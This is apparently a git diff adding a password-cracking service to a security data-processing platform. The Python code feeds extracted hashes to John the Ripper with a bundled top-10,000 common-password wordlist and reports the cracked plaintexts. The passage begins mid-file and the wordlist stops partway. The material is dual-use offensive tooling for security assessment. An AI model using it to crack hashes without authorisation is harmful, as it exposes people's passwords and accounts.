loop.add_signal_handler(s, lambda s=s: asyncio.create_task(shutdown(container, loop, s))) + loop.set_exception_handler(handle_exception) + + try: + task = amain(container) + loop.run_until_complete(task) + except asyncio.exceptions.CancelledError: + logger.debug("Primary App asyncio task cancelled. Application is shutting down.") + + +async def shutdown(container: Container, loop: asyncio.AbstractEventLoop, signal: Optional[signal.Signals] = None): + """Cleanup tasks tied to the service's shutdown.""" + + if signal: + logger.info(f"Shutting down due the signal '{signal.name}'...") + else: + logger.info("Shutting down...") + + await container.shutdown_resources() # type: ignore + tasks = [t for t in asyncio.all_tasks() if t is not asyncio.current_task()] + + logger.debug(f"Cancelling {len(tasks)} outstanding tasks") + [task.cancel() for task in tasks] + + await asyncio.gather(*tasks) + + loop.stop() + + +def handle_exception(loop: asyncio.AbstractEventLoop, context: dict[str, Any]): + # context["message"] will always be there; but context["exception"] may not + e = context.get("exception", None) + msg = context.get("message") + + if "exception" in context: + logger.error( + "Unhandled global exception", + exception=str(e), + exception_message=msg, + ) + else: + logger.error("Unhandled global exception", exception_message=msg) + + # logger.info("Shutting down...") + # asyncio.create_task(shutdown(loop)) + + +async def wait_for_services(config: PasswordCrackerSettings) -> None: + rabbitUri = urlparse(config.rabbitmq_connection_uri) + + if rabbitUri.hostname is None: + raise Exception("Invalid connection URI") + if rabbitUri.port is None: + raise Exception("Invalid connection URI") + + # TODO: Check that JohnTheRipper is installed + + SocketWaiter(rabbitUri.hostname, rabbitUri.port).wait() + await logger.ainfo("All services are online!") diff --git a/cmd/passwordcracker/passwordcracker/containers.py b/cmd/passwordcracker/passwordcracker/containers.py new file mode 100644 index 0000000..4d81412 --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/containers.py @@ -0,0 +1,102 @@ +# Standard Libraries +from typing import AsyncGenerator + +# 3rd Party Libraries +import google.protobuf.message +import httpx +import nemesiscommon.constants as constants +import nemesispb.nemesis_pb2 as pb +import passwordcracker.settings as settings +from dependency_injector import containers, providers +from nemesiscommon.constants import NemesisQueue +from nemesiscommon.messaging_rabbitmq import ( + NemesisRabbitMQConsumer, + NemesisRabbitMQProducer, +) +from nemesiscommon.services.alerter import NemesisAlerter +from nemesiscommon.tasking import TaskDispatcher +from passwordcracker.services.john_the_ripper_cracker import JohnTheRipperCracker +from passwordcracker.settings import PasswordCrackerSettings +from passwordcracker.tasks.password_cracker import PasswordCracker + + +async def create_consumer( + rabbitmq_connection_uri: str, + queue: NemesisQueue, + message_type: google.protobuf.message.Message, + service_id: str, + num_events: int = 250, +): + async with (await NemesisRabbitMQConsumer.create(rabbitmq_connection_uri, queue, message_type, service_id, num_events) as inputQ,): # type: ignore + yield inputQ + + +async def create_producer(rabbitmq_connection_uri: str, queue: NemesisQueue): + async with ( + await NemesisRabbitMQProducer.create( + rabbitmq_connection_uri, + queue, + ) as outputQ, + ): + yield outputQ + + +async def create_http_retry_client() -> AsyncGenerator[httpx.AsyncClient, None]: + transport = httpx.AsyncHTTPTransport(retries=5) + async with httpx.AsyncClient(transport=transport) as client: + yield client + + +class Container(containers.DeclarativeContainer): + # + # Configuration + # + config: PasswordCrackerSettings = providers.Configuration(pydantic_settings=[settings.config], strict=True) # type: ignore + config2 = providers.Factory(PasswordCrackerSettings) + + # + # Queues + # + inputq_passwordcracker_passwordcrackertask = providers.Resource( + create_consumer, + config.rabbitmq_connection_uri, + constants.Q_AUTHENTICATION_DATA, + pb.AuthenticationDataIngestionMessage, + "passwordcracker", + num_events=1, + ) + outputq_alert = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_ALERT) + outputq_extractedhash = providers.Resource(create_producer, config.rabbitmq_connection_uri, constants.Q_EXTRACTED_HASH) + + # + # Services + # + http_client = providers.Resource(create_http_retry_client) + + alerting_service = providers.Factory( + NemesisAlerter, + outputq_alert, + config.public_kibana_url, + ) + cracker_service = providers.Factory( + JohnTheRipperCracker, + config.data_download_dir, + ) + + # + # passwordcracker Service Tasks + # + task_passwordcracker = providers.Factory( + PasswordCracker, + config2, + alerting_service, + cracker_service, + inputq_passwordcracker_passwordcrackertask, + outputq_extractedhash, + ) + + task_list = providers.List( + task_passwordcracker, + ) + + task_dispatcher = providers.Factory(TaskDispatcher, task_list, config.prometheus_port) diff --git a/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py b/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py new file mode 100644 index 0000000..122bfef --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/services/john_the_ripper_cracker.py @@ -0,0 +1,93 @@ +# Standard Libraries +import subprocess +from abc import abstractmethod +from tempfile import NamedTemporaryFile +from typing import Optional + +# 3rd Party Libraries +import structlog + +logger = structlog.get_logger(module=__name__) + + +class PasswordCrackerInterface: + @abstractmethod + async def crack(self, hash: str, wordlist_file_path: str, format: Optional[str] = None) -> Optional[str]: + pass + + +class JohnTheRipperCracker(PasswordCrackerInterface): + temp_dir: str + + def __init__(self, temp_dir: str) -> None: + self.temp_dir = temp_dir + + async def crack(self, hash: str, wordlist_file_path: str, format: Optional[str] = None) -> Optional[str]: + if not hash: + raise Exception("input hash to john cannot be empty") + + with ( + NamedTemporaryFile(dir=self.temp_dir, prefix="jtr_hash") as hash_file, + NamedTemporaryFile(dir=self.temp_dir, prefix="jtr_pot") as pot_file, + ): + # write out the hash to a temporary file for JTR to process it + with open(hash_file.name, "w") as f: + f.write(hash) + + logger.info("Cracking hash with JohnTheRipper", format=format) + + if format: + # TODO: convert this to using asyncio's subprocess functions + result = subprocess.run( + [ + "/opt/john/run/john", + f"--format={format}", + f"--wordlist={wordlist_file_path}", + "--no-log", + f"--pot={pot_file.name}", + f"{hash_file.name}", + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + else: + result = subprocess.run( + [ + "/opt/john/run/john", + f"--wordlist={wordlist_file_path}", + "--no-log", + f"--pot={pot_file.name}", + f"{hash_file.name}", + ], + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + ) + + return await self.get_password_from_result(result, pot_file.name) + + async def get_password_from_result(self, result: subprocess.CompletedProcess, pot_file_path: str) -> Optional[str]: + # Check if the cracking finished successfully + if "Session completed" not in str(result.stderr): + logger.error("JohnTheRipper did not run successfully", stdout=result.stdout, stderr=result.stderr) + return None + + # try to read in the temporary .pot file that contains any results + with open(pot_file_path, "r") as f: + pot_contents = f.read() + + return await self.parse_pot_file(pot_contents) + + async def parse_pot_file(self, pot_contents: str) -> Optional[str]: + # We expect the pot file to end with a newline (successful run) or to be emtpy (no results) + # If neither of those are true, then something went wrong + if pot_contents == "": + logger.debug("No results from JohnTheRipper") + return None + elif pot_contents.endswith("\n"): + pot_contents = pot_contents[:-1] + logger.debug("JohnTheRipper successfully cracked a hash!") + else: + raise Exception("pot file does not end with a newline") + + password = pot_contents.split(":")[-1] + return password diff --git a/cmd/passwordcracker/passwordcracker/settings.py b/cmd/passwordcracker/passwordcracker/settings.py new file mode 100644 index 0000000..f6f607f --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/settings.py @@ -0,0 +1,21 @@ +# Standard Libraries +from enum import IntEnum + +# 3rd Party Libraries +from nemesiscommon.settings import HttpUrlWithSlash, NemesisServiceSettings +from pydantic.networks import AnyUrl + + +class CrackWordlistSize(IntEnum): + VALUE_10000 = 10000 + VALUE_100000 = 100000 + + +class PasswordCrackerSettings(NemesisServiceSettings): # type: ignore + rabbitmq_connection_uri: AnyUrl + public_kibana_url: HttpUrlWithSlash + data_download_dir: str + crack_wordlist_top_words: CrackWordlistSize # either 10000 or 100000 for now + + +config = PasswordCrackerSettings() # type: ignore diff --git a/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py b/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py new file mode 100644 index 0000000..a98439a --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/tasks/password_cracker.py @@ -0,0 +1,128 @@ +# Standard Libraries +import asyncio +import os + +# 3rd Party Libraries +import nemesispb.nemesis_pb2 as pb +import structlog +from nemesiscommon.messaging import ( + MessageQueueConsumerInterface, + MessageQueueProducerInterface, +) +from nemesiscommon.services.alerter import AlerterInterface +from nemesiscommon.tasking import TaskInterface +from passwordcracker.services.john_the_ripper_cracker import PasswordCrackerInterface +from passwordcracker.settings import PasswordCrackerSettings +from prometheus_async import aio +from prometheus_client import Summary + +logger = structlog.get_logger(module=__name__) + + +class PasswordCracker(TaskInterface): + cfg: PasswordCrackerSettings + alerter: AlerterInterface + cracker: PasswordCrackerInterface + semaphore: asyncio.Semaphore + + # Queues + auth_data_q_in: MessageQueueConsumerInterface + extracted_hash_q_out: MessageQueueProducerInterface + + def __init__( + self, + cfg: PasswordCrackerSettings, + alerter: AlerterInterface, + cracker: PasswordCrackerInterface, + auth_data_q_in: MessageQueueConsumerInterface, + extracted_hash_q_out: MessageQueueProducerInterface, + ): + self.cfg = cfg + self.alerter = alerter + self.cracker = cracker + self.auth_data_q_in = auth_data_q_in + self.extracted_hash_q_out = extracted_hash_q_out + + current_dir = os.path.dirname(os.path.realpath(__file__)) + self.wordlist_path = os.path.join(current_dir, "..", "wordlists", f"top_{self.cfg.crack_wordlist_top_words}.txt") + self.wordlist_path = os.path.abspath(self.wordlist_path) + + if not os.path.exists(self.wordlist_path): + raise Exception(f"Wordlist file {self.wordlist_path} does not exist") + + # TODO: test the semaphore + self.semaphore = asyncio.Semaphore() + + async def run(self) -> None: + await logger.ainfo("Starting the Auth Data service") + + await asyncio.gather( + self.auth_data_q_in.Read(self.handle_auth_data), # type: ignore + ) + await asyncio.Future() + + async def handle_auth_data(self, q_msg: pb.AuthenticationDataIngestionMessage) -> None: + await self.process_auth_data(q_msg) + + @aio.time(Summary("process_auth_data", "Time spent processing an Auth Data event")) # type: ignore + async def process_auth_data(self, event: pb.AuthenticationDataIngestionMessage): + """Main function to process authentication data events.""" + + for data in event.data: + # Skip any event that isn't a hash + if not len(data.type) > 0 or not data.type.startswith("hash_"): + continue + + # limit the number of simultaneous JTR instances + extracted_hash_msg = pb.ExtractedHashMessage() + extracted_hash_msg.metadata.CopyFrom(event.metadata) + extracted_hash = extracted_hash_msg.data.add() + extracted_hash.hash_type = data.type + extracted_hash.hash_value = data.data + extracted_hash.originating_object_id = data.originating_object_id + + # TODO: formatting for Hashcat/JTR formats + extracted_hash.jtr_formatted_value = data.data + + async with self.semaphore: + match extracted_hash.hash_type: + # handle specific hash types that need the type specified + case "hash_crypt": + jtr_pot_line = await self.cracker.crack(data.data, self.wordlist_path, "crypt") + case _: + jtr_pot_line = await self.cracker.crack(data.data, self.wordlist_path) + + extracted_hash.checked_against_top_passwords = True + + if jtr_pot_line: + extracted_hash.jtr_pot_line = jtr_pot_line + extracted_hash.is_cracked = True + + # regarding spltting on the : + # yes this is stupid, but don't see another way to do this + plaintext = jtr_pot_line + extracted_hash.plaintext_value = plaintext + + kibana_hash_url = await self.get_kibana_hash_url(extracted_hash_msg.metadata.message_id) + + if extracted_hash.originating_object_id != "": + kibana_file_url = await self.get_kibana_file_url(extracted_hash.originating_object_id) + + await self.alerter.alert( + f"*Hash Cracked*\n" + f"Hash of type *{extracted_hash.hash_type}* extracted from file *{extracted_hash.originating_object_id}* has been successfully cracked against the top {self.cfg.crack_wordlist_top_words} words in JohnTheRipper\n" + f"<{kibana_hash_url}|*Cracked hash in Kibana*>\n<{kibana_file_url}|*Originating file in Kibana*>" + ) + else: + await self.alerter.alert( + f"*Hash Cracked*\nHash of type *{extracted_hash.hash_type}* has been successfully cracked against the top {self.cfg.crack_wordlist_top_words} words in JohnTheRipper<{kibana_hash_url}|*Cracked hash in Kibana*>\n" + ) + + # publish the extracted hash out to the extracted_hash_q_out queue + await self.extracted_hash_q_out.Send(extracted_hash_msg.SerializeToString()) + + async def get_kibana_file_url(self, file_uuid: str): + return f"{self.cfg.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(objectId:'{file_uuid}')))),index:'26360ae8-a518-4dac-b499-ef682d3f6bac')&_g=(time:(from:now-1y%2Fd,to:now))" + + async def get_kibana_hash_url(self, message_uuid: str): + return f"{self.cfg.public_kibana_url}app/discover#/?_a=(filters:!((query:(match_phrase:(metadata.messageId:'{message_uuid}')))),index:'d884e1d0-c7a2-11ed-99da-e7509f36608c')&_g=(time:(from:now-1y%2Fd,to:now))" diff --git a/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt b/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt new file mode 100644 index 0000000..7f9b04b --- /dev/null +++ b/cmd/passwordcracker/passwordcracker/wordlists/top_10000.txt @@ -0,0 +1,10001 @@ +123456 +password +12345678 +qwerty +123456789 +12345 +1234 +111111 +1234567 +dragon +123123 +baseball +abc123 +football +monkey +letmein +696969 +shadow +master +666666 +qwertyuiop +123321 +mustang +1234567890 +michael +654321 +pussy +superman +1qaz2wsx +7777777 +fuckyou +121212 +000000 +qazwsx +123qwe +killer +trustno1 +jordan +jennifer +zxcvbnm +asdfgh +hunter +buster +soccer +harley +batman +andrew +tigger +sunshine +iloveyou +fuckme +2000 +charlie +robert +thomas +hockey +ranger +daniel +starwars +klaster +112233 +george +asshole +computer +michelle +jessica +pepper +1111 +zxcvbn +555555 +11111111 +131313 +freedom +777777 +pass +fuck +maggie +159753 +aaaaaa +ginger +princess +joshua +cheese +amanda +summer +love +ashley +6969 +nicole +chelsea +biteme +matthew +access +yankees +987654321 +dallas +austin +thunder +taylor +matrix +william +corvette +hello +martin +heather +secret +fucker +merlin +diamond +1234qwer +gfhjkm +hammer +silver +222222 +88888888 +anthony +justin +test +bailey +q1w2e3r4t5 +patrick +internet +scooter +orange +11111 +golfer +cookie +richard +samantha +bigdog +guitar +jackson +whatever +mickey +chicken +sparky +snoopy +maverick +phoenix +camaro +sexy +peanut +morgan +welcome +falcon +cowboy +ferrari +samsung +andrea +smokey +steelers +joseph +mercedes +dakota +arsenal +eagles +melissa +boomer +booboo +spider +nascar +monster +tigers +yellow +xxxxxx +123123123 +gateway +marina +diablo +bulldog +qwer1234 +compaq +purple +hardcore +banana +junior +hannah +123654 +porsche +lakers +iceman +money +cowboys +987654 +london +tennis +999999 +ncc1701 +coffee +scooby +0000 +miller +boston +q1w2e3r4 +fuckoff +brandon +yamaha +chester +mother +forever +johnny +edward +333333 +oliver +redsox +player +nikita +knight +fender +barney +midnight +please +brandy +chicago +badboy +iwantu +slayer +rangers +charles +angel +flower +bigdaddy +rabbit +wizard +bigdick +jasper +enter +rachel +chris +steven +winner +adidas +victoria +natasha +1q2w3e4r +jasmine +winter +prince +panties +marine +ghbdtn +fishing +cocacola +casper +james +232323 +raiders +888888 +marlboro +gandalf +asdfasdf +crystal +87654321 +12344321 +sexsex +golden +blowme +bigtits +8675309 +panther +lauren +angela +bitch +spanky +thx1138 +angels +madison +winston +shannon +mike +toyota +blowjob +jordan23 +canada +sophie +Password +apples +dick +tiger +razz +123abc +pokemon +qazxsw +55555 +qwaszx +muffin +johnson +murphy +cooper +jonathan +liverpoo +david +danielle +159357 +jackie +1990 +123456a +789456 +turtle +horny +abcd1234 +scorpion +qazwsxedc +101010 +butter +carlos +password1 +dennis +slipknot +qwerty123 +booger +asdf +1991 +black +startrek +12341234 +cameron +newyork +rainbow +nathan +john +1992 +rocket +viking +redskins +butthead +asdfghjkl +1212 +sierra +peaches +gemini +doctor +wilson +sandra +helpme +qwertyui +victor +florida +dolphin +pookie +captain +tucker +blue +liverpool +theman +bandit +dolphins +maddog +packers +jaguar +lovers +nicholas +united +tiffany +maxwell +zzzzzz +nirvana +jeremy +suckit +stupid +porn +monica +elephant +giants +jackass +hotdog +rosebud +success +debbie +mountain +444444 +xxxxxxxx +warrior +1q2w3e4r5t +q1w2e3 +123456q +albert +metallic +lucky +azerty +7777 +shithead +alex +bond007 +alexis +1111111 +samson +5150 +willie +scorpio +bonnie +gators +benjamin +voodoo +driver +dexter +2112 +jason +calvin +freddy +212121 +creative +12345a +sydney +rush2112 +1989 +asdfghjk +red123 +bubba +4815162342 +passw0rd +trouble +gunner +happy +fucking +gordon +legend +jessie +stella +qwert +eminem +arthur +apple +nissan +bullshit +bear +america +1qazxsw2 +nothing +parker +4444 +rebecca +qweqwe +garfield +01012011 +beavis +69696969 +jack +asdasd +december +2222 +102030 +252525 +11223344 +magic +apollo +skippy +315475 +girls +kitten +golf +copper +braves +shelby +godzilla +beaver +fred +tomcat +august +buddy +airborne +1993 +1988 +lifehack +qqqqqq +brooklyn +animal +platinum +phantom +online +xavier +darkness +blink182 +power +fish +green +789456123 +voyager +police +travis +12qwaszx +heaven +snowball +lover +abcdef +00000 +pakistan +007007 +walter +playboy +blazer +cricket +sniper +hooters +donkey +willow +loveme +saturn +therock +redwings +bigboy +pumpkin +trinity +williams +tits +nintendo +digital +destiny +topgun +runner +marvin +guinness +chance +bubbles +testing +fire +november +minecraft +asdf1234 +lasvegas +sergey +broncos +cartman +private +celtic +birdie +little +cassie +babygirl +donald +beatles +1313 +dickhead +family +12121212 +school +louise +gabriel +eclipse +fluffy +147258369 +lol123 +explorer +beer +nelson +flyers +spencer +scott +lovely +gibson +doggie +cherry +andrey +snickers +buffalo +pantera +metallica +member +carter +qwertyu +peter +alexande +steve +bronco +paradise +goober +5555 +samuel +montana +mexico +dreams +michigan +cock +carolina +yankee +friends +magnum +surfer +poopoo +maximus +genius +cool +vampire +lacrosse +asd123 +aaaa +christin +kimberly +speedy +sharon +carmen +111222 +kristina +sammy +racing +ou812 +sabrina +horses +0987654321 +qwerty1 +pimpin +baby +stalker +enigma +147147 +star +poohbear +boobies +147258 +simple +bollocks +12345q +marcus +brian +1987 +qweasdzxc +drowssap +hahaha +caroline +barbara +dave +viper +drummer +action +einstein +bitches +genesis +hello1 +scotty +friend +forest +010203 +hotrod +google +vanessa +spitfire +badger +maryjane +friday +alaska +1232323q +tester +jester +jake +champion +billy +147852 +rock +hawaii +badass +chevy +420420 +walker +stephen +eagle1 +bill +1986 +october +gregory +svetlana +pamela +1984 +music +shorty +westside +stanley +diesel +courtney +242424 +kevin +porno +hitman +boobs +mark +12345qwert +reddog +frank +qwe123 +popcorn +patricia +aaaaaaaa +1969 +teresa +mozart +buddha +anderson +paul +melanie +abcdefg +security +lucky1 +lizard +denise +3333 +a12345 +123789 +ruslan +stargate +simpsons +scarface +eagle +123456789a +thumper +olivia +naruto +1234554321 +general +cherokee +a123456 +vincent +Usuckballz1 +spooky +qweasd +cumshot +free +frankie +douglas +death +1980 +loveyou +kitty +kelly +veronica +suzuki +semperfi +penguin +mercury +liberty +spirit +scotland +natalie +marley +vikings +system +sucker +king +allison +marshall +1979 +098765 +qwerty12 +hummer +adrian +1985 +vfhbyf +sandman +rocky +leslie +antonio +98765432 +4321 +softball +passion +mnbvcxz +bastard +passport +horney +rascal +howard +franklin +bigred +assman +alexander +homer +redrum +jupiter +claudia +55555555 +141414 +zaq12wsx +shit +patches +nigger +cunt +raider +infinity +andre +54321 +galore +college +russia +kawasaki +bishop +77777777 +vladimir +money1 +freeuser +wildcats +francis +disney +budlight +brittany +1994 +00000000 +sweet +oksana +honda +domino +bulldogs +brutus +swordfis +norman +monday +jimmy +ironman +ford +fantasy +9999 +7654321 +PASSWORD +hentai +duncan +cougar +1977 +jeffrey +house +dancer +brooke +timothy +super +marines +justice +digger +connor +patriots +karina +202020 +molly +everton +tinker +alicia +rasdzv3 +poop +pearljam +stinky +naughty +colorado +123123a +water +test123 +ncc1701d +motorola +ireland +asdfg +slut +matt +houston +boogie +zombie +accord +vision +bradley +reggie +kermit +froggy +ducati +avalon +6666 +9379992 +sarah +saints +logitech +chopper +852456 +simpson +madonna +juventus +claire +159951 +zachary +yfnfif +wolverin +warcraft +hello123 +extreme +penis +peekaboo +fireman +eugene +brenda +123654789 +russell +panthers +georgia +smith +skyline +jesus +elizabet +spiderma +smooth +pirate +empire +bullet +8888 +virginia +valentin +psycho +predator +arizona +134679 +mitchell +alyssa +vegeta +titanic +christ +goblue +fylhtq +wolf +mmmmmm +kirill +indian +hiphop +baxter +awesome +people +danger +roland +mookie +741852963 +1111111111 +dreamer +bambam +arnold +1981 +skipper +serega +rolltide +elvis +changeme +simon +1q2w3e +lovelove +fktrcfylh +denver +tommy +mine +loverboy +hobbes +happy1 +alison +nemesis +chevelle +cardinal +burton +wanker +picard +151515 +tweety +michael1 +147852369 +12312 +xxxx +windows +turkey +456789 +1974 +vfrcbv +sublime +1975 +galina +bobby +newport +manutd +daddy +american +alexandr +1966 +victory +rooster +qqq111 +madmax +electric +bigcock +a1b2c3 +wolfpack +spring +phpbb +lalala +suckme +spiderman +eric +darkside +classic +raptor +123456789q +hendrix +1982 +wombat +avatar +alpha +zxc123 +crazy +hard +england +brazil +1978 +01011980 +wildcat +polina +freepass +carrie +99999999 +qaz123 +holiday +fyfcnfcbz +brother +taurus +shaggy +raymond +maksim +gundam +admin +vagina +pretty +pickle +good +chronic +alabama +airplane +22222222 +1976 +1029384756 +01011 +time +sports +ronaldo +pandora +cheyenne +caesar +billybob +bigman +1968 +124578 +snowman +lawrence +kenneth +horse +france +bondage +perfect +kristen +devils +alpha1 +pussycat +kodiak +flowers +1973 +01012000 +leather +amber +gracie +chocolat +bubba1 +catch22 +business +2323 +1983 +cjkysirj +1972 +123qweasd +ytrewq +wolves +stingray +ssssss +serenity +ronald +greenday +135790 +010101 +tiger1 +sunset +charlie1 +berlin +bbbbbb +171717 +panzer +lincoln +katana +firebird +blizzard +a1b2c3d4 +white +sterling +redhead +password123 +candy +anna +142536 +sasha +pyramid +outlaw +hercules +garcia +454545 +trevor +teens +maria +kramer +girl +popeye +pontiac +hardon +dude +aaaaa +323232 +tarheels +honey +cobra +buddy1 +remember +lickme +detroit +clinton +basketball +zeppelin +whynot +swimming +strike +service +pavilion +michele +engineer +dodgers +britney +bobafett +adam +741852 +21122112 +xxxxx +robbie +miranda +456123 +future +darkstar +icecream +connie +1970 +jones +hellfire +fisher +fireball +apache +fuckit +blonde +bigmac +abcd +morris +angel1 +666999 +321321 +simone +rockstar +flash +defender +1967 +wallace +trooper +oscar +norton +casino +cancer +beauty +weasel +savage +raven +harvey +bowling +246810 +wutang +theone +swordfish +stewart +airforce +abcdefgh +nipples +nastya +jenny +hacker +753951 +amateur +viktor +srinivas +maxima +lennon +freddie +bluebird +qazqaz +presario +pimp +packard +mouse +looking +lesbian +jeff +cheryl +2001 +wrangler +sandy +machine +lights +eatme +control +tattoo +precious +harrison +duke +beach +tornado +tanner +goldfish +catfish +openup +manager +1971 +street +Soso123aljg +roscoe +paris +natali +light +julian +jerry +dilbert +dbrnjhbz +chris1 +atlanta +xfiles +thailand +sailor +pussies +pervert +lucifer +longhorn +enjoy +dragons +young +target +elaine +dustin +123qweasdzxc +student +madman +lisa +integra +wordpass +prelude +newton +lolita +ladies +hawkeye +corona +bubble +31415926 +trigger +spike +katie +iloveu +herman +design +cannon +999999999 +video +stealth +shooter +nfnmzyf +hottie +browns +314159 +trucks +malibu +bruins +bobcat +barbie +1964 +orlando +letmein1 +freaky +foobar +cthutq +baller +unicorn +scully +pussy1 +potter +cookies +pppppp +philip +gogogo +elena +country +assassin +1010 +zaqwsx +testtest +peewee +moose +microsoft +teacher +sweety +stefan +stacey +shotgun +random +laura +hooker +dfvgbh +devildog +chipper +athena +winnie +valentina +pegasus +kristin +fetish +butterfly +woody +swinger +seattle +lonewolf +joker +booty +babydoll +atlantis +tony +powers +polaris +montreal +angelina +77777 +tickle +regina +pepsi +gizmo +express +dollar +squirt +shamrock +knicks +hotstuff +balls +transam +stinger +smiley +ryan +redneck +mistress +hjvfirf +cessna +bunny +toshiba +single +piglet +fucked +father +deftones +coyote +castle +cadillac +blaster +valerie +samurai +oicu812 +lindsay +jasmin +james1 +ficken +blahblah +birthday +1234abcd +01011990 +sunday +manson +flipper +asdfghj +181818 +wicked +great +daisy +babes +skeeter +reaper +maddie +cavalier +veronika +trucker +qazwsx123 +mustang1 +goldberg +escort +12345678910 +wolfgang +rocks +mylove +mememe +lancer +ibanez +travel +sugar +snake +sister +siemens +savannah +minnie +leonardo +basketba +1963 +trumpet +texas +rocky1 +galaxy +cristina +aardvark +shelly +hotsex +goldie +fatboy +benson +321654 +141627 +sweetpea +ronnie +indigo +13131313 +spartan +roberto +hesoyam +freeman +freedom1 +fredfred +pizza +manchester +lestat +kathleen +hamilton +erotic +blabla +22222 +1995 +skater +pencil +passwor +larisa +hornet +hamlet +gambit +fuckyou2 +alfred +456456 +sweetie +marino +lollol +565656 +techno +special +renegade +insane +indiana +farmer +drpepper +blondie +bigboobs +272727 +1a2b3c +valera +storm +seven +rose +nick +mister +karate +casey +1qaz2wsx3edc +1478963 +maiden +julie +curtis +colors +christia +buckeyes +13579 +0123456789 +toronto +stephani +pioneer +kissme +jungle +jerome +holland +harry +garden +enterpri +dragon1 +diamonds +chrissy +bigone +343434 +wonder +wetpussy +subaru +smitty +racecar +pascal +morpheus +joanne +irina +indians +impala +hamster +charger +change +bigfoot +babylon +66666666 +timber +redman +pornstar +bernie +tomtom +thuglife +millie +buckeye +aaron +virgin +tristan +stormy +rusty +pierre +napoleon +monkey1 +highland +chiefs +chandler +catdog +aurora +1965 +trfnthbyf +sampson +nipple +dudley +cream +consumer +burger +brandi +welcome1 +triumph +joejoe +hunting +dirty +caserta +brown +aragorn +363636 +mariah +element +chichi +2121 +123qwe123 +wrinkle1 +smoke +omega +monika +leonard +justme +hobbit +gloria +doggy +chicks +bass +audrey +951753 +51505150 +11235813 +sakura +philips +griffin +butterfl +artist +66666 +island +goforit +emerald +elizabeth +anakin +watson +poison +none +italia +callie +bobbob +autumn +andreas +123 +sherlock +q12345 +pitbull +marathon +kelsey +inside +german +blackie +access14 +123asd +zipper +overlord +nadine +marie +basket +trombone +stones +sammie +nugget +naked +kaiser +isabelle +huskers +bomber +barcelona +babylon5 +babe +alpine +weed +ultimate +pebbles +nicolas +marion +loser +linda +eddie +wesley +warlock +tyler +goddess +fatcat +energy +david1 +bassman +yankees1 +whore +trojan +trixie +superfly +kkkkkk +ybrbnf +warren +sophia +sidney +pussys +nicola +campbell +vfvjxrf +singer +shirley +qawsed +paladin +martha +karen +help +harold +geronimo +forget +concrete +191919 +westham +soldier +q1w2e3r4t5y6 +poiuyt +nikki +mario +juice +jessica1 +global +dodger +123454321 +webster +titans +tintin +tarzan +sexual +sammy1 +portugal +onelove +marcel +manuel +madness +jjjjjj +holly +christy +424242 +yvonne +sundance +sex4me +pleasure +logan +danny +wwwwww +truck +spartak +smile +michel +history +Exigen +65432 +1234321 +sherry +sherman +seminole +rommel +network +ladybug +isabella +holden +harris +germany +fktrctq +cotton +angelo +14789632 +sergio +qazxswedc +moon +jesus1 +trunks +snakes +sluts +kingkong +bluesky +archie +adgjmptw +911911 +112358 +sunny +suck +snatch +planet +panama +ncc1701e +mongoose +head +hansolo +desire +alejandr +1123581321 +whiskey +waters +teen +party +martina +margaret +january +connect +bluemoon +bianca +andrei +5555555 +smiles +nolimit +long +assass +abigail +555666 +yomama +rocker +plastic +katrina +ghbdtnbr +ferret +emily +bonehead +blessed +beagle +asasas +abgrtyu +sticky +olga +japan +jamaica +home +hector +dddddd +1961 +turbo +stallion +personal +peace +movie +morrison +joanna +geheim +finger +cactus +7895123 +susan +super123 +spyder +mission +anything +aleksandr +zxcvb +shalom +rhbcnbyf +pickles +passat +natalia +moomoo +jumper +inferno +dietcoke +cumming +cooldude +chuck +christop +million +lollipop +fernando +christian +blue22 +bernard +apple1 +unreal +spunky +ripper +open +niners +letmein2 +flatron +faster +deedee +bertha +april +4128 +01012010 +werewolf +rubber +punkrock +orion +mulder +missy +larry +giovanni +gggggg +cdtnkfyf +yoyoyo +tottenha +shaved +newman +lindsey +joey +hongkong +freak +daniela +camera +brianna +blackcat +a1234567 +1q1q1q +zzzzzzzz +stars +pentium +patton +jamie +hollywoo +florence +biscuit +beetle +andy +always +speed +sailing +phillip +legion +gn56gn56 +909090 +martini +dream +darren +clifford +2002 +stocking +solomon +silvia +pirates +office +monitor +monique +milton +matthew1 +maniac +loulou +jackoff +immortal +fossil +dodge +delta +44444444 +121314 +sylvia +sprite +shadow1 +salmon +diana +shasta +patriot +palmer +oxford +nylons +molly1 +irish +holmes +curious +asdzxc +1999 +makaveli +kiki +kennedy +groovy +foster +drizzt +twister +snapper +sebastia +philly +pacific +jersey +ilovesex +dominic +charlott +carrot +anthony1 +africa +111222333 +sharks +serena +satan666 +maxmax +maurice +jacob +gerald +cosmos +columbia +colleen +cjkywt +cantona +brooks +99999 +787878 +rodney +nasty +keeper +infantry +frog +french +eternity +dillon +coolio +condor +anton +waterloo +velvet +vanhalen +teddy +skywalke +sheila +sesame +seinfeld +funtime +012345 +standard +squirrel +qazwsxed +ninja +kingdom +grendel +ghost +fuckfuck +damien +crimson +boeing +bird +biggie +090909 +zaq123 +wolverine +wolfman +trains +sweets +sunrise +maxine +legolas +jericho +isabel +foxtrot +anal +shogun +search +robinson +rfrfirf +ravens +privet +penny +musicman +memphis +megadeth +dogs +butt +brownie +oldman +graham +grace +505050 +verbatim +support +safety +review +newlife +muscle +herbert +colt45 +bottom +2525 +1q2w3e4r5t6y +1960 +159159 +western +twilight +thanks +suzanne +potato +pikachu +murray +master1 +marlin +gilbert +getsome +fuckyou1 +dima +denis +789789 +456852 +stone +stardust +seven7 +peanuts +obiwan +mollie +licker +kansas +frosty +ball +262626 +tarheel +showtime +roman +markus +maestro +lobster +darwin +cindy +chubby +2468 +147896325 +tanker +surfing +skittles +showme +shaney14 +qwerty12345 +magic1 +goblin +fusion +blades +banshee +alberto +123321123 +123098 +powder +malcolm +intrepid +garrett +delete +chaos +bruno +1701 +tequila +short +sandiego +python +punisher +newpass +iverson +clayton +amadeus +1234567a +stimpy +sooners +preston 